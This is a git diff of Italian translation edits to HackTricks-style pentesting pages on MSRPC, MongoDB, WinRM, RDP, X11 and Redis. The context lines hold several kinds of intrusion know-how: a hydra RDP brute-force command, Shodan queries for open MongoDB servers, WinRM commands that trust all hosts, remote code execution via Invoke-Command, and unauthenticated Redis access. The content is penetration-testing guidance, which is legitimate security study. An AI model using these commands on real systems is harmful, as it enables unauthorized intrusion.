Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere le specifiche della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft.
|
Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere le specifiche della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft.
|
||||||
|
|
||||||
L'endpoint mapper RPC può essere accessibile tramite la porta TCP e UDP 135, SMB su TCP 139 e 445 (con una sessione nulla o autenticata), e come servizio web sulla porta TCP 593.
|
Il mapper degli endpoint RPC può essere accessibile tramite la porta TCP e UDP 135, SMB su TCP 139 e 445 (con una sessione nulla o autenticata) e come servizio web sulla porta TCP 593.
|
||||||
```
|
```
|
||||||
135/tcp open msrpc Microsoft Windows RPC
|
135/tcp open msrpc Microsoft Windows RPC
|
||||||
```
|
```
|
||||||
|
@ -46,7 +46,7 @@ Iniziato dall'applicazione client, il processo MSRPC prevede la chiamata a una p
|
||||||
|
|
||||||
## **Identificazione dei servizi RPC esposti**
|
## **Identificazione dei servizi RPC esposti**
|
||||||
|
|
||||||
L'esposizione dei servizi RPC attraverso TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione dei servizi RPC unici, denotati dai valori **IFID**, rivelando dettagli sul servizio e binding di comunicazione:
|
L'esposizione dei servizi RPC attraverso TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione di servizi RPC unici, denotati da valori **IFID**, rivelando dettagli del servizio e binding di comunicazione:
|
||||||
```
|
```
|
||||||
D:\rpctools> rpcdump [-p port] <IP>
|
D:\rpctools> rpcdump [-p port] <IP>
|
||||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||||
|
@ -54,7 +54,7 @@ Annotation: Messenger Service
|
||||||
UUID: 00000000-0000-0000-0000-000000000000
|
UUID: 00000000-0000-0000-0000-000000000000
|
||||||
Binding: ncadg_ip_udp:<IP>[1028]
|
Binding: ncadg_ip_udp:<IP>[1028]
|
||||||
```
|
```
|
||||||
L'accesso al servizio di localizzazione RPC è abilitato attraverso protocolli specifici: ncacn\_ip\_tcp e ncadg\_ip\_udp per l'accesso tramite la porta 135, ncacn\_np per le connessioni SMB e ncacn\_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135:
|
L'accesso al servizio di localizzazione RPC è abilitato attraverso protocolli specifici: ncacn\_ip\_tcp e ncadg\_ip\_udp per l'accesso tramite la porta 135, ncacn\_np per le connessioni SMB e ncacn\_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli di Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||||
use auxiliary/scanner/dcerpc/hidden
|
use auxiliary/scanner/dcerpc/hidden
|
||||||
|
@ -74,7 +74,7 @@ All options except `tcp_dcerpc_auditor` sono specificamente progettate per mirar
|
||||||
* **Descrizione**: interfaccia LSA Directory Services (DS), utilizzata per enumerare domini e relazioni di fiducia.
|
* **Descrizione**: interfaccia LSA Directory Services (DS), utilizzata per enumerare domini e relazioni di fiducia.
|
||||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||||
* **Named Pipe**: `\pipe\samr`
|
* **Named Pipe**: `\pipe\samr`
|
||||||
* **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e per forzare le password degli utenti indipendentemente dalla politica di blocco dell'account.
|
* **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e forzare le password degli utenti indipendentemente dalla politica di blocco dell'account.
|
||||||
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||||
* **Named Pipe**: `\pipe\atsvc`
|
* **Named Pipe**: `\pipe\atsvc`
|
||||||
* **Descrizione**: pianificatore di attività, utilizzato per eseguire comandi da remoto.
|
* **Descrizione**: pianificatore di attività, utilizzato per eseguire comandi da remoto.
|
||||||
|
@ -117,20 +117,20 @@ Il **rpcdump.exe** da [rpctools](https://resources.oreilly.com/examples/97805965
|
||||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul hacking**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di hacking in tempo reale**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma
|
Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -30,9 +30,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
**MongoDB** è un **sistema di gestione di database** **open source** che utilizza un **modello di database orientato ai documenti** per gestire forme diverse di dati. Offre flessibilità e scalabilità per gestire dati non strutturati o semi-strutturati in applicazioni come analisi di big data e gestione dei contenuti. **Porta predefinita:** 27017, 27018
|
**MongoDB** è un **sistema di gestione di database** **open source** che utilizza un **modello di database orientato ai documenti** per gestire diverse forme di dati. Offre flessibilità e scalabilità per gestire dati non strutturati o semi-strutturati in applicazioni come analisi di big data e gestione dei contenuti. **Porta predefinita:** 27017, 27018
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||||
|
@ -68,7 +68,7 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
|
||||||
```
|
```
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
* Tutti i mongodb: `"mongodb server information"`
|
* Tutti mongodb: `"mongodb server information"`
|
||||||
* Cerca server mongodb completamente aperti: `"mongodb server information" -"partially enabled"`
|
* Cerca server mongodb completamente aperti: `"mongodb server information" -"partially enabled"`
|
||||||
* Solo autenticazione parzialmente abilitata: `"mongodb server information" "partially enabled"`
|
* Solo autenticazione parzialmente abilitata: `"mongodb server information" "partially enabled"`
|
||||||
|
|
||||||
|
@ -93,11 +93,11 @@ Controlla dentro _/opt/bitnami/mongodb/mongodb.conf_ per sapere se sono necessar
|
||||||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||||||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||||||
```
|
```
|
||||||
## Previsione dell'Objectid di Mongo
|
## Previsione dell'Objectid Mongo
|
||||||
|
|
||||||
Esempio [da qui](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
Esempio [da qui](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||||
|
|
||||||
Gli ID Object di Mongo sono stringhe **esadecimali di 12 byte**:
|
Gli ID Object Mongo sono stringhe **esadecimali di 12 byte**:
|
||||||
|
|
||||||
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
|
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ Se sei root puoi **modificare** il file **mongodb.conf** in modo che non siano n
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -131,7 +131,7 @@ Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso noti
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -39,11 +39,11 @@ La presenza di WinRM su una macchina consente un'amministrazione remota semplice
|
||||||
* **5985/tcp (HTTP)**
|
* **5985/tcp (HTTP)**
|
||||||
* **5986/tcp (HTTPS)**
|
* **5986/tcp (HTTPS)**
|
||||||
|
|
||||||
Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consentendo tentativi di avviare una sessione remota.
|
Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consentendo quindi tentativi di avviare una sessione remota.
|
||||||
|
|
||||||
### **Iniziare una sessione WinRM**
|
### **Iniziare una sessione WinRM**
|
||||||
|
|
||||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, possono essere eseguiti i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||||
```powershell
|
```powershell
|
||||||
Enable-PSRemoting -Force
|
Enable-PSRemoting -Force
|
||||||
Set-Item wsman:\localhost\client\trustedhosts *
|
Set-Item wsman:\localhost\client\trustedhosts *
|
||||||
|
@ -84,7 +84,7 @@ Puoi anche **eseguire un comando della tua attuale console PS tramite** _**Invok
|
||||||
```powershell
|
```powershell
|
||||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||||
```
|
```
|
||||||
### Eseguire uno Script
|
### Esegui uno Script
|
||||||
```powershell
|
```powershell
|
||||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||||
```
|
```
|
||||||
|
@ -150,18 +150,18 @@ Il tentativo sul client (info da [qui](https://serverfault.com/questions/657918/
|
||||||
winrm quickconfig
|
winrm quickconfig
|
||||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Real-Time Hack News**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Latest Announcements**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -304,7 +304,7 @@ Name: Hydra Brute Force
|
||||||
Description: Need User
|
Description: Need User
|
||||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -329,7 +329,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,38 +1,38 @@
|
||||||
# 6000 - Pentesting X11
|
# 6000 - Pentesting X11
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Approfondimenti sul hacking**\
|
||||||
Engage with content that delves into the thrill and challenges of hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Real-Time Hack News**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Latest Announcements**\
|
**Ultimi annunci**\
|
||||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
**X Window System** (X) è un sistema di finestre versatile prevalente nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
|
**X Window System** (X) è un sistema di finestre versatile prevalente sui sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
|
||||||
|
|
||||||
**Porta predefinita:** 6000
|
**Porta predefinita:** 6000
|
||||||
```
|
```
|
||||||
|
@ -95,7 +95,7 @@ convert screenshot.xwd screenshot.png
|
||||||
```
|
```
|
||||||
## Remote Desktop View
|
## Remote Desktop View
|
||||||
|
|
||||||
Fonte: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
Via: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||||
```
|
```
|
||||||
./xrdp.py <IP:0>
|
./xrdp.py <IP:0>
|
||||||
```
|
```
|
||||||
|
@ -161,7 +161,7 @@ Poi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e clicca
|
||||||
|
|
||||||
* `port:6000 x11`
|
* `port:6000 x11`
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -172,7 +172,7 @@ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in partenza e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -186,7 +186,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -59,7 +59,7 @@ In un'istanza Redis regolare puoi semplicemente connetterti usando `nc` oppure p
|
||||||
nc -vn 10.10.10.10 6379
|
nc -vn 10.10.10.10 6379
|
||||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||||
```
|
```
|
||||||
Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** di simile a quanto segue:
|
Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza Redis **o qualcosa** di simile a quanto segue:
|
||||||
```
|
```
|
||||||
-NOAUTH Authentication required.
|
-NOAUTH Authentication required.
|
||||||
```
|
```
|
||||||
|
@ -127,7 +127,7 @@ GET <KEY>
|
||||||
```
|
```
|
||||||
